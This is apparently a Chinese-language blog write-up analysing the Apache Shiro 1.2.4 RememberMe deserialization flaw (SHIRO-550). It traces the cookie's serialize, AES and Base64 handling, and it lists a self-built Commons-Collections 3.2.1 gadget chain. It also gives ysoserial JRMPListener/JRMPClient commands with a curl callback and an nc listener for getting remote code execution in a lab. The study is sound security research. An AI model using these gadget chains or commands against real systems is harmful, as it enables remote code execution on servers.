前言
最近学了基于ysoserial工具的Commons-Collections3和4的几条反序列化攻击链,因为shiro-1.2.4的默认示例也是自带Commons-Collections3.2.1的包的,虽然是个老洞了,不过结合自己刚学的东西,来分析并研究一下这个洞,希望有所收获。
漏洞预警
https://issues.apache.org/jira/browse/SHIRO-550
漏洞详情
默认情况下,shiro
使用CookieRememberMeManager
,这将对用户身份进行序列化,加密和编码,以供以后检索,因此当其接收到一个用户的验证请求时,会做如下操作:
- 检索RememberMe cookie 的值
- Base 64解码
- 使用AES解密
- 使用Java序列化(ObjectInputStream)反序列化。
但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送
影响范围
<1.2.4
漏洞分析
环境搭建
jdk版本要求:jdk1.6,对应的mvn,对应的tomcat也要重新下载(tomcat7)
1 | https://github.com/apache/shiro |
修改pom.xml1
2
3
4
5
6
7<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
修改sapmles/web下的pom.xml1
2
3
4
5<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
1 | cd samples/web |
将war放置tomcat的webapp下,搭建好的环境如下
前置知识
shiro的权限操作是委托给securityManager
的,而securityManager
管理session
又是委托给sessionManager
的,而在开发web项目中,我们一般会使用org.apache.shiro.web.mgt.DefaultWebSecurityManager
DefaultSecurityManager
是shiro自带实现的最基础但已直接可用的SecurityManager,它包含了shiro所有主要的鉴权流程
对一个cookie的处理流程是
- 先将凭证序列化
- Aes加密
- 前端显示的时候进行一次base64加密
代码分析
根据官方提供的漏洞描述,漏洞的触发大致是
- 检索RememberMe cookie 的值
- Base 64解码
- 使用AES解密
- 使用Java序列化(ObjectInputStream)反序列化。
我们通过默认给出的账号进行登录,勾选remember me,就会获得一个cookie值
1 | 09wFAt1bkYIMrGEa63+y/JGKGMULMejMG+Y8XolYgOAb+Yp/TZV6CfNlnyC2Xwj0z325KTOh3/q0z/zWbcQ8yE9poCAzJAjf/lsnAB+4gHz3pOfu1sn2jztFw9wtGNa8FItnX8XCK6+u88g9VsNIZaT78IhkkJjir43nUosJbhcOZNHfeCXRikGjb50/SePK57tggDeyePrEl0Zx0Cc2XwYzFVEWxAktIXDElOZSA2elo6vNWqGn93/2BsOkpEI7hwT5272Y/Z9suoR6ipcMbo8p54uNyaF4LUak/XOj+eca1QQLXculVTSDe5IwocnVqDCmAv9HYutCpAJwNmNp1bdCIFHWcj8/8ERbcaOnddYfH2QYQlAZyUMWnDWkiJ5ogQb9hN6k7TiWiyq+YZPk86Vf22YePMorEfdFG+Sf9cg4YKN+Ik67CtjF0f2lXNFv85KQ+lmLVnIn9eCL06fbXrUZOLeaRspfug1NlK1nT1uveQx+YXXkpKbkt5BnGBPQ |
先来看看他生成这段cookie的过程
序列化数据
我们从AuthenticatingFilter
开始跟进,前面是路由反派到认证过滤器这里的过程
这里的createToken返回登录表单的请求结果,并保存在token里
然后跟进subject.login,继续跟入securityManager.login
,securityManager
是DefaultWebSecurityManager
,
认证成功后,进入onSuccessfulLogin
info
里存储着用户的登录信息,token
里有rememberMe
的布尔值
首先获取当前rememberMeManager
,为CookieRememberMeManager
,而CookieRememberMeManager
继承于AbstractRememberMeManager
,所以实际是调用了AbstractRememberMeManager
然后跟进AbstractRememberMeManager.onSuccessfulLogin
判断是否有rememberme
选项,有就进入rememberIdentity
然后返回身份集合PrincipalCollection
,作为参数传入rememberIdentity
然后调用convertPrincipalsToBytes
,对身份集合进行处理,我们跟入看看
在convertPrincipalsToBytes
里调用了serialize
进行序列化处理,接着再调用encrypt
方法
先获取加密的Server,默认是AES加密
能够在AbstractRememberMeManager
看到密钥
加密的时候将密钥的byte数组(16位)和序列化之后的数组一起传入JcaCipherService.encrypt
进行加密,
利用arraycopy()
方法将随机的16字节IV放到序列化后的数据前面,完成后再进行AES加密
加密完后返回加密结果
进入rememberSerializedIdentity
方法
在里面完成了base64的加密
到这里整个cookie的处理就算完成了
反序列化数据
从createSubject
开始跟进
从context上下文中去解析
由于context中的principals为null,于是调用DefaultSecurityManager
的getRememberedIdentity
方法去从rememberMe
中获取
首先获取RememberMeManager
为CookieRememberMeManager
然后调用getRememberedPrincipals
,由于CookieRememberMeManager
没有该方法,于是到他的父类AbstractRememberMeManager
里去调用
获取rememberMe
值并调用getRememberedSerializedIdentity
进行base64解密
如果从当前cookie里获取到了rememberMe
的cookie值,那么就调用convertBytesToPrincipals
获取到当前的Server为Aes,进入decrypt
之后的过程跟加密相反,先去掉随机的16字节,再进行Aes解密
解密完之后,就会调用deserialize
进行反序列化
构造payload
CommonsCollections4:4.0
因为手动添加了Commons-Collections-4.0
的依赖包,所以可以直接用他的一个通用利用链,详细参考yso的Commons-Collections-4.0
的gadgets,就不细说了
构造起来,总的来说还算简单,不过有几个点比较坑,我是通过反射去直接获取org.apache.shiro.mgt.AbstractRememberMeManager
这个抽象类的encrypt
方法,不过中间花了点时间,因为之前没遇到过反射抽象类的情况,解决方法是自己写一个类,继承这个抽象类,然后重写他的抽象方法,于是我的payload构造完后为这个样子
1 | package com.hu3sky.test; |
将生产的cookie带到rememberMe,发包
这样就能直接弹出计算器
CommonsCollections3:3.2.1
yso自带的利用链失效
刚才4.0版本是我们手动添加的,现在我们直接利用他自带的3.2.1版本
我们利用yso的第一条链
运行到deserialize
到时候报错了1
java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]:
那我们直接在本地利用呢
成功触发了,但是为什么shiro
上面没法触发呢
查找了些资料后发现,shiro
自己实现的类加载器是无法对任何数组进行反序列化的(yso针对3.1中基本用的都是数组,也就是ChainedTransformer
,InvokerTransformer
不能用)
寻找3.2.1下不需要数组的gadgets
目前的yso利用方式就两种,一种是InvokerTrasnformer
的反射,一种是利用TemplatesImpl
的defineClass
加载字节码,不用到数组,那么只能用第二种方法,加载字节码
本来以为能用第二条链,结果发现在3.2.1版本下的TransformingComparator
并没有实现Serializable
接口,不能被反序列化,这就需要我们重新去找一个能触发,最终要调用到TemplatesImple.newTransformer
,还要用transform
方法来触发,现在我们去找哪些地方调用了transform
由于已经没有其他ComparableComparator
再调用transform
了,所以我们不能用PriorityQueue
来触发了
花了一点时间,通过组合,我构造出了一条在3.2.1不需要数组的链,我将它称为CommonsCollections8
调用栈1
2
3
4
5
6
7
8Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
JRMP
或者利用JRMP(JRMP不依赖于本地的包,所以该方法比较好用)1
2
3
4
5java -cp ./target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections8 "curl 127.0.0.1:4444"
java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1234" > CommonsCollections8.ser
nc -lv 4444
1.2.5fix
如果没有配置密钥,那么会自动生成一个密钥,不过密钥泄漏还是会引发同样的问题
Reference
- https://cloud.pingan.com/ssr/notice/894?subType=security
- https://issues.apache.org/jira/browse/SHIRO-550
- https://iter01.com/422189.html
- http://cn.voidcc.com/question/p-kxctncfy-nd.html
- http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
- https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html
- https://blog.zsxsoft.com/post/35